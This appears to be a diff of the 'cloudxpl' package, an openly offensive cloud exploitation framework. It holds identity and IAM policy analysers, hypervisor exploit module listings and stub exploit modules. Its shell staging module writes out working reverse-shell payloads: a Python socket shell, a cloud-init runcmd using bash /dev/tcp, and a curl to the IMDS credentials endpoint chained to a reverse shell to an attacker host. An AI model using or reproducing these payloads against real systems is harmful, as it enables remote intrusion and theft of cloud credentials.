- cloudxpl/modules/virt/virt_cross_domain.py +41 -0
- cloudxpl/modules/virt/virt_maestro_detect.py +41 -0
- cloudxpl/modules/virt/virt_side_channel.py +41 -0
- cloudxpl/modules/virt/virt_snapshot_theft.py +41 -0
- cloudxpl/modules/virt/virt_vtpm_extract.py +41 -0
- cloudxpl/modules/virt/vmware_api_enum.py +29 -0
- cloudxpl/modules/virt/vmware_enum_vms_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_exploitation_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_http_login_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_tools_lpe.py +40 -0
- cloudxpl/modules/virt/xen_cve_2023_46842.py +41 -0
- cloudxpl/modules/virt/xen_grant_escape.py +40 -0
- cloudxpl/modules/virt/xen_iommu_exploit.py +40 -0
- cloudxpl/modules/virt/xen_venom.py +41 -0
- cloudxpl/modules/virt/xen_xsa486.py +41 -0
- cloudxpl/modules/virt/xen_xsa500.py +41 -0
- cloudxpl/modules/virt/xen_xsa505.py +41 -0
- cloudxpl/modules/virt/xen_xsa507.py +30 -0
- cloudxpl/modules/virt/xen_xsa517.py +41 -0
- cloudxpl/modules/virt/xen_xsa521.py +41 -0
- cloudxpl/modules/virt/xen_xsa_500.py +30 -0
- cloudxpl/modules/virt/xen_xsa_505.py +30 -0
- cloudxpl/modules/virt/xen_xsa_507.py +30 -0
- cloudxpl/modules/virt/xen_xsa_517.py +30 -0
- cloudxpl/modules/virt/xen_xsa_521.py +30 -0
- cloudxpl/py.typed +0 -0
- cloudxpl-4.2.0.dist-info/METADATA +98 -0
- cloudxpl-4.2.0.dist-info/RECORD +522 -0
- cloudxpl-4.2.0.dist-info/WHEEL +5 -0
- cloudxpl-4.2.0.dist-info/entry_points.txt +3 -0
- cloudxpl-4.2.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
"""Cross-cloud identity resolver for CloudXPL-Forge.
|
|
2
|
+
|
|
3
|
+
Unifies identity resolution across AWS (IAM), Azure (Entra ID),
|
|
4
|
+
GCP (IAM/WIF) and K8s (ServiceAccounts). Maps principals to their
|
|
5
|
+
effective permissions, federation links and trust chains.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
from dataclasses import dataclass, field
|
|
11
|
+
from enum import Enum, auto
|
|
12
|
+
from typing import Any
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class CloudProvider(Enum):
|
|
16
|
+
AWS = auto()
|
|
17
|
+
AZURE = auto()
|
|
18
|
+
GCP = auto()
|
|
19
|
+
K8S = auto()
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
@dataclass
|
|
23
|
+
class CloudIdentity:
|
|
24
|
+
provider: CloudProvider
|
|
25
|
+
principal_id: str
|
|
26
|
+
principal_type: str = "" # user, role, service-account, managed-identity, etc.
|
|
27
|
+
display_name: str = ""
|
|
28
|
+
arn_or_id: str = ""
|
|
29
|
+
permissions: list[str] = field(default_factory=list)
|
|
30
|
+
federation_links: list["FederationLink"] = field(default_factory=list)
|
|
31
|
+
metadata: dict[str, Any] = field(default_factory=dict)
|
|
32
|
+
|
|
33
|
+
@property
|
|
34
|
+
def is_privileged(self) -> bool:
|
|
35
|
+
priv_indicators = {
|
|
36
|
+
"AdministratorAccess", "Owner", "roles/owner",
|
|
37
|
+
"GlobalAdministrator", "cluster-admin",
|
|
38
|
+
"iam:*", "sts:AssumeRole",
|
|
39
|
+
}
|
|
40
|
+
return bool(set(self.permissions) & priv_indicators)
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
@dataclass
|
|
44
|
+
class FederationLink:
|
|
45
|
+
source_provider: CloudProvider
|
|
46
|
+
source_identity: str
|
|
47
|
+
target_provider: CloudProvider
|
|
48
|
+
target_identity: str
|
|
49
|
+
trust_type: str = "" # OIDC, SAML, WIF, cross-account, etc.
|
|
50
|
+
conditions: dict[str, str] = field(default_factory=dict)
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
class IdentityResolver:
|
|
54
|
+
"""Resolve and correlate cloud identities across providers."""
|
|
55
|
+
|
|
56
|
+
def __init__(self) -> None:
|
|
57
|
+
self._identities: dict[str, CloudIdentity] = {}
|
|
58
|
+
self._federation_map: list[FederationLink] = []
|
|
59
|
+
|
|
60
|
+
@property
|
|
61
|
+
def identities(self) -> dict[str, CloudIdentity]:
|
|
62
|
+
return dict(self._identities)
|
|
63
|
+
|
|
64
|
+
@property
|
|
65
|
+
def federation_links(self) -> list[FederationLink]:
|
|
66
|
+
return list(self._federation_map)
|
|
67
|
+
|
|
68
|
+
def add_identity(self, identity: CloudIdentity) -> None:
|
|
69
|
+
key = f"{identity.provider.name}:{identity.principal_id}"
|
|
70
|
+
self._identities[key] = identity
|
|
71
|
+
|
|
72
|
+
def add_federation(self, link: FederationLink) -> None:
|
|
73
|
+
self._federation_map.append(link)
|
|
74
|
+
|
|
75
|
+
def resolve(self, provider: CloudProvider, principal_id: str) -> CloudIdentity | None:
|
|
76
|
+
key = f"{provider.name}:{principal_id}"
|
|
77
|
+
return self._identities.get(key)
|
|
78
|
+
|
|
79
|
+
def find_federation_chain(self, start_id: str) -> list[FederationLink]:
|
|
80
|
+
"""Trace federation/trust chain from a starting identity."""
|
|
81
|
+
chain: list[FederationLink] = []
|
|
82
|
+
visited: set[str] = set()
|
|
83
|
+
current = start_id
|
|
84
|
+
|
|
85
|
+
while current and current not in visited:
|
|
86
|
+
visited.add(current)
|
|
87
|
+
for link in self._federation_map:
|
|
88
|
+
if link.source_identity == current:
|
|
89
|
+
chain.append(link)
|
|
90
|
+
current = link.target_identity
|
|
91
|
+
break
|
|
92
|
+
else:
|
|
93
|
+
break
|
|
94
|
+
|
|
95
|
+
return chain
|
|
96
|
+
|
|
97
|
+
def find_cross_cloud_pivots(self) -> list[dict[str, Any]]:
|
|
98
|
+
"""Identify identities that can pivot between cloud providers."""
|
|
99
|
+
pivots: list[dict[str, Any]] = []
|
|
100
|
+
|
|
101
|
+
for link in self._federation_map:
|
|
102
|
+
if link.source_provider != link.target_provider:
|
|
103
|
+
source = self.resolve(link.source_provider, link.source_identity)
|
|
104
|
+
target = self.resolve(link.target_provider, link.target_identity)
|
|
105
|
+
if source and target:
|
|
106
|
+
pivots.append({
|
|
107
|
+
"source": {
|
|
108
|
+
"provider": link.source_provider.name,
|
|
109
|
+
"identity": link.source_identity,
|
|
110
|
+
"privileged": source.is_privileged,
|
|
111
|
+
},
|
|
112
|
+
"target": {
|
|
113
|
+
"provider": link.target_provider.name,
|
|
114
|
+
"identity": link.target_identity,
|
|
115
|
+
"privileged": target.is_privileged,
|
|
116
|
+
},
|
|
117
|
+
"trust_type": link.trust_type,
|
|
118
|
+
"conditions": link.conditions,
|
|
119
|
+
})
|
|
120
|
+
|
|
121
|
+
return pivots
|
|
122
|
+
|
|
123
|
+
def find_privileged_identities(self) -> list[CloudIdentity]:
|
|
124
|
+
return [i for i in self._identities.values() if i.is_privileged]
|
|
125
|
+
|
|
126
|
+
# --- Provider-specific ingestion ---
|
|
127
|
+
|
|
128
|
+
def ingest_aws_iam(self, iam_data: dict[str, Any]) -> int:
|
|
129
|
+
"""Ingest AWS IAM users/roles from get-account-authorization-details."""
|
|
130
|
+
count = 0
|
|
131
|
+
for user in iam_data.get("UserDetailList", []):
|
|
132
|
+
self.add_identity(CloudIdentity(
|
|
133
|
+
provider=CloudProvider.AWS,
|
|
134
|
+
principal_id=user.get("UserName", ""),
|
|
135
|
+
principal_type="user",
|
|
136
|
+
arn_or_id=user.get("Arn", ""),
|
|
137
|
+
display_name=user.get("UserName", ""),
|
|
138
|
+
))
|
|
139
|
+
count += 1
|
|
140
|
+
|
|
141
|
+
for role in iam_data.get("RoleDetailList", []):
|
|
142
|
+
identity = CloudIdentity(
|
|
143
|
+
provider=CloudProvider.AWS,
|
|
144
|
+
principal_id=role.get("RoleName", ""),
|
|
145
|
+
principal_type="role",
|
|
146
|
+
arn_or_id=role.get("Arn", ""),
|
|
147
|
+
display_name=role.get("RoleName", ""),
|
|
148
|
+
)
|
|
149
|
+
self.add_identity(identity)
|
|
150
|
+
count += 1
|
|
151
|
+
|
|
152
|
+
for stmt in role.get("AssumeRolePolicyDocument", {}).get("Statement", []):
|
|
153
|
+
if stmt.get("Effect") == "Allow":
|
|
154
|
+
principal = stmt.get("Principal", {})
|
|
155
|
+
federated = principal.get("Federated", "")
|
|
156
|
+
if federated:
|
|
157
|
+
self.add_federation(FederationLink(
|
|
158
|
+
source_provider=self._detect_provider(federated),
|
|
159
|
+
source_identity=federated,
|
|
160
|
+
target_provider=CloudProvider.AWS,
|
|
161
|
+
target_identity=role.get("RoleName", ""),
|
|
162
|
+
trust_type="OIDC" if "oidc" in federated.lower() else "SAML",
|
|
163
|
+
))
|
|
164
|
+
|
|
165
|
+
return count
|
|
166
|
+
|
|
167
|
+
def ingest_gcp_iam(self, bindings: list[dict[str, Any]], project: str = "") -> int:
|
|
168
|
+
"""Ingest GCP IAM policy bindings."""
|
|
169
|
+
count = 0
|
|
170
|
+
for binding in bindings:
|
|
171
|
+
role = binding.get("role", "")
|
|
172
|
+
for member in binding.get("members", []):
|
|
173
|
+
member_type, _, member_id = member.partition(":")
|
|
174
|
+
self.add_identity(CloudIdentity(
|
|
175
|
+
provider=CloudProvider.GCP,
|
|
176
|
+
principal_id=member_id or member,
|
|
177
|
+
principal_type=member_type,
|
|
178
|
+
permissions=[role],
|
|
179
|
+
metadata={"project": project},
|
|
180
|
+
))
|
|
181
|
+
count += 1
|
|
182
|
+
return count
|
|
183
|
+
|
|
184
|
+
@staticmethod
|
|
185
|
+
def _detect_provider(identifier: str) -> CloudProvider:
|
|
186
|
+
if "amazonaws.com" in identifier or identifier.startswith("arn:aws:"):
|
|
187
|
+
return CloudProvider.AWS
|
|
188
|
+
if "login.microsoftonline.com" in identifier or "graph.microsoft.com" in identifier:
|
|
189
|
+
return CloudProvider.AZURE
|
|
190
|
+
if "accounts.google.com" in identifier or "googleapis.com" in identifier:
|
|
191
|
+
return CloudProvider.GCP
|
|
192
|
+
return CloudProvider.K8S
|
|
@@ -0,0 +1,198 @@
|
|
|
1
|
+
"""Cloud IAM policy analysis engine for CloudXPL-Forge.
|
|
2
|
+
|
|
3
|
+
Evaluates IAM policies (AWS, Azure, GCP) for overly permissive
|
|
4
|
+
configurations, privilege escalation paths and misconfigurations.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
from dataclasses import dataclass, field
|
|
10
|
+
from typing import Any
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
@dataclass
|
|
14
|
+
class PolicyFinding:
|
|
15
|
+
provider: str
|
|
16
|
+
resource: str
|
|
17
|
+
issue: str
|
|
18
|
+
severity: str = "MEDIUM"
|
|
19
|
+
remediation: str = ""
|
|
20
|
+
mitre: list[str] = field(default_factory=list)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
class PolicyEngine:
|
|
24
|
+
"""Analyze cloud IAM policies for security issues."""
|
|
25
|
+
|
|
26
|
+
def __init__(self) -> None:
|
|
27
|
+
self._findings: list[PolicyFinding] = []
|
|
28
|
+
|
|
29
|
+
@property
|
|
30
|
+
def findings(self) -> list[PolicyFinding]:
|
|
31
|
+
return list(self._findings)
|
|
32
|
+
|
|
33
|
+
def clear(self) -> None:
|
|
34
|
+
self._findings.clear()
|
|
35
|
+
|
|
36
|
+
# --- AWS ---
|
|
37
|
+
|
|
38
|
+
def analyze_aws_policy(self, policy: dict[str, Any], resource_name: str = "") -> list[PolicyFinding]:
|
|
39
|
+
"""Analyze an AWS IAM policy document for issues."""
|
|
40
|
+
findings: list[PolicyFinding] = []
|
|
41
|
+
|
|
42
|
+
for stmt in policy.get("Statement", []):
|
|
43
|
+
if stmt.get("Effect") != "Allow":
|
|
44
|
+
continue
|
|
45
|
+
|
|
46
|
+
actions = stmt.get("Action", [])
|
|
47
|
+
if isinstance(actions, str):
|
|
48
|
+
actions = [actions]
|
|
49
|
+
resources = stmt.get("Resource", [])
|
|
50
|
+
if isinstance(resources, str):
|
|
51
|
+
resources = [resources]
|
|
52
|
+
condition = stmt.get("Condition", {})
|
|
53
|
+
|
|
54
|
+
if "*" in actions and "*" in resources:
|
|
55
|
+
findings.append(PolicyFinding(
|
|
56
|
+
provider="AWS",
|
|
57
|
+
resource=resource_name,
|
|
58
|
+
issue="Full wildcard: Action=* Resource=*",
|
|
59
|
+
severity="CRITICAL",
|
|
60
|
+
remediation="Apply least-privilege, scope to specific services/resources",
|
|
61
|
+
mitre=["T1078.004"],
|
|
62
|
+
))
|
|
63
|
+
|
|
64
|
+
privesc_actions = {
|
|
65
|
+
"iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion",
|
|
66
|
+
"iam:AttachUserPolicy", "iam:AttachGroupPolicy",
|
|
67
|
+
"iam:AttachRolePolicy", "iam:PutUserPolicy",
|
|
68
|
+
"iam:PutGroupPolicy", "iam:PutRolePolicy",
|
|
69
|
+
"iam:CreateLoginProfile", "iam:UpdateLoginProfile",
|
|
70
|
+
"iam:CreateAccessKey", "sts:AssumeRole",
|
|
71
|
+
"iam:PassRole", "lambda:CreateFunction",
|
|
72
|
+
"lambda:InvokeFunction", "lambda:UpdateFunctionCode",
|
|
73
|
+
"ec2:RunInstances", "iam:AddUserToGroup",
|
|
74
|
+
"iam:UpdateAssumeRolePolicy",
|
|
75
|
+
}
|
|
76
|
+
matched = set(actions) & privesc_actions
|
|
77
|
+
if matched:
|
|
78
|
+
findings.append(PolicyFinding(
|
|
79
|
+
provider="AWS",
|
|
80
|
+
resource=resource_name,
|
|
81
|
+
issue=f"Privilege escalation path via: {', '.join(sorted(matched))}",
|
|
82
|
+
severity="HIGH",
|
|
83
|
+
remediation="Restrict these actions to admin roles with MFA condition",
|
|
84
|
+
mitre=["T1078.004", "T1098"],
|
|
85
|
+
))
|
|
86
|
+
|
|
87
|
+
if not condition:
|
|
88
|
+
data_actions = {"s3:GetObject", "s3:PutObject", "s3:DeleteObject"}
|
|
89
|
+
if set(actions) & data_actions and "*" in resources:
|
|
90
|
+
findings.append(PolicyFinding(
|
|
91
|
+
provider="AWS",
|
|
92
|
+
resource=resource_name,
|
|
93
|
+
issue="S3 data actions on * resource without conditions",
|
|
94
|
+
severity="HIGH",
|
|
95
|
+
remediation="Scope resources to specific buckets, add conditions",
|
|
96
|
+
))
|
|
97
|
+
|
|
98
|
+
self._findings.extend(findings)
|
|
99
|
+
return findings
|
|
100
|
+
|
|
101
|
+
# --- Azure ---
|
|
102
|
+
|
|
103
|
+
def analyze_azure_role(self, role_def: dict[str, Any]) -> list[PolicyFinding]:
|
|
104
|
+
"""Analyze an Azure role definition for issues."""
|
|
105
|
+
findings: list[PolicyFinding] = []
|
|
106
|
+
name = role_def.get("roleName", role_def.get("name", ""))
|
|
107
|
+
|
|
108
|
+
for perm in role_def.get("permissions", []):
|
|
109
|
+
actions = perm.get("actions", [])
|
|
110
|
+
not_actions = perm.get("notActions", [])
|
|
111
|
+
|
|
112
|
+
if "*" in actions:
|
|
113
|
+
if not not_actions:
|
|
114
|
+
findings.append(PolicyFinding(
|
|
115
|
+
provider="Azure",
|
|
116
|
+
resource=name,
|
|
117
|
+
issue="Custom role with Action=* and no NotActions",
|
|
118
|
+
severity="CRITICAL",
|
|
119
|
+
remediation="Scope to specific resource providers",
|
|
120
|
+
mitre=["T1078.004"],
|
|
121
|
+
))
|
|
122
|
+
else:
|
|
123
|
+
findings.append(PolicyFinding(
|
|
124
|
+
provider="Azure",
|
|
125
|
+
resource=name,
|
|
126
|
+
issue=f"Broad role with * minus {len(not_actions)} NotActions",
|
|
127
|
+
severity="HIGH",
|
|
128
|
+
remediation="Review NotActions list for bypass paths",
|
|
129
|
+
))
|
|
130
|
+
|
|
131
|
+
data_actions = perm.get("dataActions", [])
|
|
132
|
+
if "*" in data_actions:
|
|
133
|
+
findings.append(PolicyFinding(
|
|
134
|
+
provider="Azure",
|
|
135
|
+
resource=name,
|
|
136
|
+
issue="Wildcard dataActions grants all data-plane access",
|
|
137
|
+
severity="HIGH",
|
|
138
|
+
remediation="Restrict dataActions to specific operations",
|
|
139
|
+
))
|
|
140
|
+
|
|
141
|
+
self._findings.extend(findings)
|
|
142
|
+
return findings
|
|
143
|
+
|
|
144
|
+
# --- GCP ---
|
|
145
|
+
|
|
146
|
+
def analyze_gcp_bindings(
|
|
147
|
+
self, bindings: list[dict[str, Any]], project: str = ""
|
|
148
|
+
) -> list[PolicyFinding]:
|
|
149
|
+
"""Analyze GCP IAM bindings for issues."""
|
|
150
|
+
findings: list[PolicyFinding] = []
|
|
151
|
+
|
|
152
|
+
dangerous_roles = {
|
|
153
|
+
"roles/owner",
|
|
154
|
+
"roles/editor",
|
|
155
|
+
"roles/iam.securityAdmin",
|
|
156
|
+
"roles/iam.serviceAccountAdmin",
|
|
157
|
+
"roles/iam.serviceAccountKeyAdmin",
|
|
158
|
+
"roles/cloudfunctions.admin",
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
for binding in bindings:
|
|
162
|
+
role = binding.get("role", "")
|
|
163
|
+
members = binding.get("members", [])
|
|
164
|
+
condition = binding.get("condition")
|
|
165
|
+
|
|
166
|
+
if role in dangerous_roles:
|
|
167
|
+
for member in members:
|
|
168
|
+
if member.startswith("allUsers") or member.startswith("allAuthenticatedUsers"):
|
|
169
|
+
findings.append(PolicyFinding(
|
|
170
|
+
provider="GCP",
|
|
171
|
+
resource=f"{project}/{role}",
|
|
172
|
+
issue=f"Public access: {member} has {role}",
|
|
173
|
+
severity="CRITICAL",
|
|
174
|
+
remediation="Remove public member bindings",
|
|
175
|
+
mitre=["T1078.004"],
|
|
176
|
+
))
|
|
177
|
+
elif not condition and role in {"roles/owner", "roles/editor"}:
|
|
178
|
+
findings.append(PolicyFinding(
|
|
179
|
+
provider="GCP",
|
|
180
|
+
resource=f"{project}/{role}",
|
|
181
|
+
issue=f"{member} has {role} without conditions",
|
|
182
|
+
severity="HIGH",
|
|
183
|
+
remediation="Add IAM conditions, prefer custom roles",
|
|
184
|
+
))
|
|
185
|
+
|
|
186
|
+
if role == "roles/iam.serviceAccountTokenCreator":
|
|
187
|
+
for member in members:
|
|
188
|
+
findings.append(PolicyFinding(
|
|
189
|
+
provider="GCP",
|
|
190
|
+
resource=f"{project}/{role}",
|
|
191
|
+
issue=f"{member} can impersonate any SA via token creation",
|
|
192
|
+
severity="HIGH",
|
|
193
|
+
remediation="Restrict to specific service accounts",
|
|
194
|
+
mitre=["T1134"],
|
|
195
|
+
))
|
|
196
|
+
|
|
197
|
+
self._findings.extend(findings)
|
|
198
|
+
return findings
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
"""Cloud-specific shell staging mixin.
|
|
2
|
+
|
|
3
|
+
Extends xpl-core shell infrastructure with cloud-native payloads:
|
|
4
|
+
HTTP poll (NAT-friendly), Lambda reverse, SSRF->IMDS->shell, cloud-init inject.
|
|
5
|
+
|
|
6
|
+
Author: Andre Henrique (@mrhenrike) | Uniao Geek
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from __future__ import annotations
|
|
10
|
+
|
|
11
|
+
import threading
|
|
12
|
+
import time
|
|
13
|
+
from typing import Any, Optional
|
|
14
|
+
|
|
15
|
+
from xpl_core.shells import (
|
|
16
|
+
SessionManager,
|
|
17
|
+
ReverseListener,
|
|
18
|
+
generate_payload,
|
|
19
|
+
)
|
|
20
|
+
|
|
21
|
+
_session_mgr = SessionManager()
|
|
22
|
+
|
|
23
|
+
CLOUD_SHELL_TYPES = (
|
|
24
|
+
"python",
|
|
25
|
+
"bash",
|
|
26
|
+
"nc_mkfifo",
|
|
27
|
+
"lambda_reverse",
|
|
28
|
+
"cloud_init_inject",
|
|
29
|
+
"ssrf_imds_shell",
|
|
30
|
+
)
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def _cloud_payload(shell_type: str, lhost: str, lport: int) -> str:
|
|
34
|
+
"""Generate cloud-specific payloads."""
|
|
35
|
+
t = shell_type.lower().strip()
|
|
36
|
+
|
|
37
|
+
if t == "lambda_reverse":
|
|
38
|
+
return (
|
|
39
|
+
"python3 -c \""
|
|
40
|
+
"import socket,subprocess,os,json;"
|
|
41
|
+
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
|
|
42
|
+
"s.connect(('{lh}',{lp}));"
|
|
43
|
+
"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
|
|
44
|
+
"subprocess.call(['/bin/sh','-i'])\""
|
|
45
|
+
).format(lh=lhost, lp=lport)
|
|
46
|
+
|
|
47
|
+
if t == "cloud_init_inject":
|
|
48
|
+
return (
|
|
49
|
+
"#cloud-config\n"
|
|
50
|
+
"runcmd:\n"
|
|
51
|
+
" - bash -c 'bash -i >& /dev/tcp/{lh}/{lp} 0>&1'"
|
|
52
|
+
).format(lh=lhost, lp=lport)
|
|
53
|
+
|
|
54
|
+
if t == "ssrf_imds_shell":
|
|
55
|
+
return (
|
|
56
|
+
"curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ && "
|
|
57
|
+
"bash -c 'bash -i >& /dev/tcp/{lh}/{lp} 0>&1'"
|
|
58
|
+
).format(lh=lhost, lp=lport)
|
|
59
|
+
|
|
60
|
+
return generate_payload(t, lhost, lport)
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def get_session_manager() -> SessionManager:
|
|
64
|
+
return _session_mgr
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def spawn_cloud_shell(
|
|
68
|
+
target: str,
|
|
69
|
+
lhost: str,
|
|
70
|
+
lport: int = 4444,
|
|
71
|
+
shell_type: str = "python",
|
|
72
|
+
execute_fn: Optional[Any] = None,
|
|
73
|
+
timeout: int = 120,
|
|
74
|
+
) -> bool:
|
|
75
|
+
"""Spawn a reverse shell from a cloud exploitation action."""
|
|
76
|
+
payload = _cloud_payload(shell_type, lhost, lport)
|
|
77
|
+
if not payload:
|
|
78
|
+
print("[-] [cloud-shell] Unknown shell type: '{}'".format(shell_type))
|
|
79
|
+
return False
|
|
80
|
+
|
|
81
|
+
print("[*] [cloud-shell] Payload: {}".format(shell_type))
|
|
82
|
+
print("[*] [cloud-shell] Listener: {}:{}".format(lhost, lport))
|
|
83
|
+
|
|
84
|
+
with ReverseListener(lhost, lport, timeout, pty_upgrade=True) as ln:
|
|
85
|
+
if execute_fn is not None:
|
|
86
|
+
def _exec() -> None:
|
|
87
|
+
time.sleep(1)
|
|
88
|
+
try:
|
|
89
|
+
execute_fn(payload)
|
|
90
|
+
except Exception as exc:
|
|
91
|
+
print("[-] [cloud-shell] Execute: {}".format(exc))
|
|
92
|
+
|
|
93
|
+
t = threading.Thread(target=_exec, daemon=True)
|
|
94
|
+
t.start()
|
|
95
|
+
|
|
96
|
+
return ln.wait_for_connection()
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
"""CloudXPL-Forge shell shim -- re-exports from xpl-core canonical package.
|
|
2
|
+
|
|
3
|
+
Author: Andre Henrique (@mrhenrike) | Uniao Geek
|
|
4
|
+
"""
|
|
5
|
+
|
|
6
|
+
from xpl_core.shells import (
|
|
7
|
+
ShellEngine, ShellError, ShellConnectionError, ShellIOError,
|
|
8
|
+
ShellTimeoutError, ShellMode, ShellStatus,
|
|
9
|
+
RawTCPShell, RawUDPShell, ICMPCovertShell, DNSTunnelShell,
|
|
10
|
+
HTTPPollShell, MQTTShell, MeterpreterBridge, InternalShell,
|
|
11
|
+
ShellHandler, reverse_shell_payload, tty_upgrade_commands,
|
|
12
|
+
SHELL_TYPES, generate_payload, generate_msf_rc, ShellStagingMixin,
|
|
13
|
+
ReverseListener, start_listener, pty_interact, simple_interact,
|
|
14
|
+
SessionManager, SessionState, ShellSession,
|
|
15
|
+
)
|
|
16
|
+
|
|
17
|
+
__all__ = [
|
|
18
|
+
"SHELL_TYPES",
|
|
19
|
+
"DNSTunnelShell",
|
|
20
|
+
"HTTPPollShell",
|
|
21
|
+
"ICMPCovertShell",
|
|
22
|
+
"InternalShell",
|
|
23
|
+
"MQTTShell",
|
|
24
|
+
"MeterpreterBridge",
|
|
25
|
+
"RawTCPShell",
|
|
26
|
+
"RawUDPShell",
|
|
27
|
+
"ReverseListener",
|
|
28
|
+
"SessionManager",
|
|
29
|
+
"SessionState",
|
|
30
|
+
"ShellConnectionError",
|
|
31
|
+
"ShellEngine",
|
|
32
|
+
"ShellError",
|
|
33
|
+
"ShellHandler",
|
|
34
|
+
"ShellIOError",
|
|
35
|
+
"ShellMode",
|
|
36
|
+
"ShellSession",
|
|
37
|
+
"ShellStagingMixin",
|
|
38
|
+
"ShellStatus",
|
|
39
|
+
"ShellTimeoutError",
|
|
40
|
+
"generate_msf_rc",
|
|
41
|
+
"generate_payload",
|
|
42
|
+
"pty_interact",
|
|
43
|
+
"reverse_shell_payload",
|
|
44
|
+
"simple_interact",
|
|
45
|
+
"start_listener",
|
|
46
|
+
"tty_upgrade_commands",
|
|
47
|
+
]
|
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
"""CloudXPL-Forge module: Bridge to 404tk/cloudtoolkit — Alibaba multi-service exploitation"""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
from typing import Any
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
MANIFEST = {
|
|
9
|
+
"capability_id": "cloudxpl.alibaba.cloudtoolkit_bridge.v1",
|
|
10
|
+
"safety_class": "READ_ONLY",
|
|
11
|
+
"requires_authorization": True,
|
|
12
|
+
"side_effects": ["api_calls"],
|
|
13
|
+
"output_schema": "xpl.finding.v1",
|
|
14
|
+
"mitre": ["T1526"],
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def run(args: Any) -> int:
|
|
19
|
+
"""Execute Bridge to 404tk/cloudtoolkit — Alibaba multi-service exploitation."""
|
|
20
|
+
import json
|
|
21
|
+
import sys
|
|
22
|
+
from datetime import datetime, timezone
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
print(f"[*] {MANIFEST['capability_id']} starting...")
|
|
26
|
+
print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
|
|
27
|
+
|
|
28
|
+
findings: list[dict] = []
|
|
29
|
+
|
|
30
|
+
# --- Module logic placeholder ---
|
|
31
|
+
# TODO: implement provider-specific API calls
|
|
32
|
+
print("[!] Module stub — implement provider-specific logic")
|
|
33
|
+
|
|
34
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
35
|
+
out_dir = Path(getattr(args, "output", "."))
|
|
36
|
+
out_dir.mkdir(parents=True, exist_ok=True)
|
|
37
|
+
out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
|
|
38
|
+
out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
|
|
39
|
+
print(f"[+] Results saved to {out_file}")
|
|
40
|
+
return 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
"""CloudXPL-Forge module: CVE-2026-19339 — Alibaba DataWorks MCP Server SSRF"""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
from typing import Any
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
MANIFEST = {
|
|
9
|
+
"capability_id": "cloudxpl.alibaba.cve_2026_19339.v1",
|
|
10
|
+
"safety_class": "EXPLOIT",
|
|
11
|
+
"requires_authorization": True,
|
|
12
|
+
"side_effects": ["api_calls", "state_change"],
|
|
13
|
+
"output_schema": "xpl.finding.v1",
|
|
14
|
+
"mitre": ["T1190"],
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def run(args: Any) -> int:
|
|
19
|
+
"""Execute CVE-2026-19339 — Alibaba DataWorks MCP Server SSRF."""
|
|
20
|
+
import json
|
|
21
|
+
import sys
|
|
22
|
+
from datetime import datetime, timezone
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
print(f"[*] {MANIFEST['capability_id']} starting...")
|
|
26
|
+
print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
|
|
27
|
+
|
|
28
|
+
findings: list[dict] = []
|
|
29
|
+
|
|
30
|
+
# --- Module logic placeholder ---
|
|
31
|
+
# TODO: implement provider-specific API calls
|
|
32
|
+
print("[!] Module stub — implement provider-specific logic")
|
|
33
|
+
|
|
34
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
35
|
+
out_dir = Path(getattr(args, "output", "."))
|
|
36
|
+
out_dir.mkdir(parents=True, exist_ok=True)
|
|
37
|
+
out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
|
|
38
|
+
out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
|
|
39
|
+
print(f"[+] Results saved to {out_file}")
|
|
40
|
+
return 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
"""CloudXPL-Forge module: Enumerate Alibaba ECS instances, security groups, VPCs"""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
from typing import Any
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
MANIFEST = {
|
|
9
|
+
"capability_id": "cloudxpl.alibaba.ecs_enum.v1",
|
|
10
|
+
"safety_class": "READ_ONLY",
|
|
11
|
+
"requires_authorization": True,
|
|
12
